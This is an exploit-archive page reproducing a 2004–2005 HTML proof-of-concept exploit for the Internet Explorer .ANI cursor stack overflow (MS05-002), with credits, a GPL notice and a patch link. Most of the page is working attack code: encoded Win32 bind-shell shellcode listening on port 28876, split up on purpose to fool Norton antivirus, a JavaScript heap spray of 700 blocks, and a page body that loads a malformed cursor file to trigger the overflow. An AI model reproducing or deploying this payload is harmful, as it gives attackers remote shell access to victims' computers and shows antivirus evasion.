MS Internet Explorer .ANI Remote Stack Overflow (0.2)

🗓️ 12 Jan 2005 00:00:00Reported by SkyLinedType
zdt🔗 0day.today👁 41 Views
MS Internet Explorer .ANI vulnerability exploit overview and patch details including credit information.
=====================================================
MS Internet Explorer .ANI Remote Stack Overflow (0.2)
=====================================================

<!-- Changed location of InternetExploiter3.2.ani to point to sploits directory /str0ke -->

<HTML><!--
________________________________________________________________________________

    ,sSSSs,   Ss,       Internet Exploiter 3 v0.2
   SS"  `YS'   '*Ss.    .ANI stackoverflow PoC exploit
  iS'            ,SS"   Copyright (C) 2003, 2004 by Berend-Jan Wever.
  YS,  .ss    ,sY"      http://www.edup.tudelft.nl/~bjwever
  `"YSSP"   sSS         <[email protected]>
________________________________________________________________________________

  Credit for the vulnerability:
    Yuji Ukai for eEye Digital Security
  Patch:
    http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx
  Changelog for 3.2:
    - Putting the .ANI file in the HEAD sometimes caused the BoF to trigger
      before the heap was prepared, fixed that by putting it in the BODY.
    - New .ANI file overwrites the stack with a lot of 0x0D bytes, making sure
      it overwrites the return-address no matter where it is on the stack.
      This makes it OS/SP/language independ, thanks to spoonm for the details
      on the .ANI file format.

  This program is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License version 2, 1991 as published by
  the Free Software Foundation.

  This program is distributed in the hope that it will be useful, but WITHOUT
  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.

  A copy of the GNU General Public License can be found at:
    http://www.gnu.org/licenses/gpl.html
  or you can write to:
    Free Software Foundation, Inc.
    59 Temple Place - Suite 330
    Boston, MA  02111-1307
    USA.
-->
    <SCRIPT language="javascript">
        // Win32 MSIE exploit helper script, creates a lot of nopslides to land in
        // and/or use as return address. Thanks to blazde for feedback and idears.

        // 4 nops because the 0x0D slide has 5 byte instructions.
        shellcode = unescape("%u3737%u3737" +
            // Win32 bindshell (port 28876, '\0' free, looping). Thanks to
            // HDM and others for inspiration and borrowed code. Source:
            // www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
            // (Added the "+"-s to fool Norton AV, it would see the
            // shellcode as InternetExploiter 1)
            "%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
            "%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
            "%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
            "%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
            "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
            "%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
            "%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
            "%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
            "%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
            "%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
            "%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
            "%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
            "%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
            "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
            "%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
            "%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
            "%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
        // Nopslide will contain these bytes:
        bigblock = unescape("%u0D0D%u0D0D");
        // Heap blocks in IE have 20 dwords as header
        headersize = 20;
        // This is all very 1337 code to create a nopslide that will fit exactly
        // between the the header and the shellcode in the heap blocks we want.
        // The heap blocks are 0x40000 dwords big, I can't be arsed to write good
        // documentation for this.
        slackspace = headersize+shellcode.length
        while (bigblock.length<slackspace) bigblock+=bigblock;
        fillblock = bigblock.substring(0, slackspace);
        block = bigblock.substring(0, bigblock.length-slackspace);
        while(block.length+slackspace<0x40000) block = block+block+fillblock;
        // And now we can create the heap blocks, we'll create 700 of them to spray
        // enough memory to be sure enough that we've got one at 0x0D0D0D0D
        memory = new Array();
        for (i=0;i<700;i++) memory[i] = block + shellcode;

        function failed() {
            // You can't lose with this exploit.
            document.location.href="http://www.margrieta.com";
        }
    </SCRIPT>
    <BODY style="CURSOR: url('sploits/InternetExploiter3.2.ani')" onload="setTimeout(failed, 1000);">
    </BODY>
</HTML>


#  0day.today [2018-03-28]  #
12 Jan 2005 00:00Current
7.1High risk
Vulners AI Score7.1
internet explorer vulnerability ani stack overflow exploit details security patch gnu general public license eeye digital security berend-jan wever